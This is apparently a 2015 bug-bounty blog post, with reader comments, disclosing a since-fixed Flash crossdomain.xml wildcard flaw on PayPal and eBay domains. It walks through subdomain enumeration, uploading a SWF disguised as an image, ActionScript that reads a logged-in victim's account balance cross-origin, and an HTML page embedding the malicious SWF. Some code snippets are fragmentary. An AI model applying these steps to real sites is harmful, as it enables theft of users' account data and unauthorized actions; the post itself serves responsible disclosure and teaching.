Wednesday, April 15, 2015

crossdomain.xml : Beware of Wildcards

This blog entry will describe a wide spread Flash vulnerability that affected many big websites including The description will picture the state of the website and in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

It all starts with a wildcard...

After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on might not be impossible, but it's not the easiest target.

There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml). from 2014
    <allow-access-from domain="*"/>
    <allow-access-from domain="*"/>
    <allow-access-from domain="*"/>

This tell us that SWF hosted on any of those domains can make requests to the domain and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

Step 1: Finding weak domains

We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

 $ ./

It is also possible to find upload functionalities with some Google-Fu.

  • inbody:attachment
  • forum
  • upload
  • etc...

From the previous enumeration, I identify that the following where having upload functionnality for images or documents.
"Luckily", all three were vulnerable.

Step 2 : Uploading the SWF file

The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.
HTTP/1.1 200 OK
Date: Tue, 22 Jul 2014 04:49:07 GMT
Server: Apache
Set-Cookie: VISITORID=147921315;; Path=/
Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
Content-Length: 33576
Connection: close
Content-Type: image/jpeg;charset=UTF-8


Malicious SWF

A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.
function getAccountBalanceHttpReq() {
    urlLoader = new URLLoader();
    urlLoader.addEventListener(Event.COMPLETE, onComplete);
    urlLoader.load(new URLRequest(encodeURI(""")));

function onComplete(event:Event):void {
    //Extract balance from the page..
    var balanceRegExp:RegExp = /\$.*USD/;
    var amountFound:String =;
    //Display amount extracted
    this['txtCurrentBalance'].text = amountFound;
    //More exfiltration

I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

Step 3 : Hosting a malicious page

All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.
<script src="swfobject.js"></script>
var url ="";
swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});

<div id="evilSwf"></div>

That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

Proof of Concept reading the balance amount

The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.


Demonstration of the attack described previously. (Fullscreen recommended)

The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.


Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.

I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.



  1. Hi,

    Great work! :)

    I had really similar bug in paypal, based on their crossdomain.xml and vulnerable SWF file in other domain. Wondering how much did you got for this one? Also - can you share disclosure timeline with me? How long it took to paypal for fix it and give you full reward from initial report?

    Have a nice day!

    1. I prefer to avoid mentioning the payout in the article. It could be perceived as bragging. Some people will do strange calculation and come to the conclusion that bug bounty participants make millions.
      To answer your question the bounty was just below Authentication Bypass. It's a good reward for a small complexity bug.

      The timeline is a bit chaotic.
      I initially contact ebay at the end of 2013 for I didn't push much.
      I got a response from Ebay 8 months later saying the vulnerability was consider invalid. The vulnerable form was removed. The POC files I uploaded were also removed.
      I did the quick search for other vulnerable cases that affected Paypal. I found and I reported both.
      I received an initial payment. Also, I notice the crossdomain.xml ( was changed shortly after. "*" was no longer included.
      All bugs are officially fixed. I got the final payment and authorization to publish two weeks ago.

    2. Of course, I understand it. All is similar to my case so it seems like paypal just work in this way ;) thanks and congratulations again. :)

    3. I have reported few ebay specific bugs (mostly XSS) and I have received delay responses each time.
      In general, the Paypal bug bounty team is pretty effective at fixing and responding. I just don't like their rickety messaging system.

  2. Well Done & very nice explanation
    Keep hunting Busy man ;)

  3. I don't get it. How do you jump from loading a jpg to loading your malicious swf?

    1. There was no validation on the file attachment. It was only a extension verification. The malicious file uploaded was a SWF.

  4. Hello Philippe Arteau,

    Its very very nice article with detailed explanation with video demonstration. Just an awesome work (y) .
    I have found same type of vulnerability or crossdomain.xml file on a big website. As a bug hunter i have just started my career yet. I need some guide on this topic. Because i followed your article and also tried some other 2 3 methods. But unfortunately i can't able to exploit it. It would be appreciable for me if you will give me some time and contact via email then we can demonstrate it also. I don't wanna disclose in public.

    Thanks for your above Article

    1. I can answer specific questions. Unfortunately, I can't give one on one support even for little things. Sorry.

      I can give you this advice that would apply to flash vulnerabilities, but would apply web security. When you are digging into a vulnerability, don't hesitate to spend some time to experiment on your local environment. The big bug bounty may be tempting, but you will learn a lot by trial and error with a control environment.

      This flash/swf vector is not new. I remember reporting an equivalent problem on DropBox in 2010-2011. Many bug hunters have also reported those. The big sites are mostly aware on these issues.

  5. nice info :) how would you like to share your exploit code ? :)

    1. I used to recompile the same Flash swf.. Which is not really effective. I would recommend using generic swf like

    2. i'm too confuse in the code so that's why i'm asking for your code :) which really looks easy :) you can send me the code privately :p i'll not share with anyone :)

  6. hello;
    i have site when i try to upload the generic swf file you mentioned it refused but when i upload the swf to excute xss it upload also the site use wild cards so why the site rfuse the first one and accepted the second one


  7. Having a reflected XSS over * this attack can be done? or we need the swf/jpg file uploaded on it?


    1. Paypal have changed their crossdomain.xml as a fix for my report. To target from *, yes it is still possible but it won't work with a XSS as far as I know.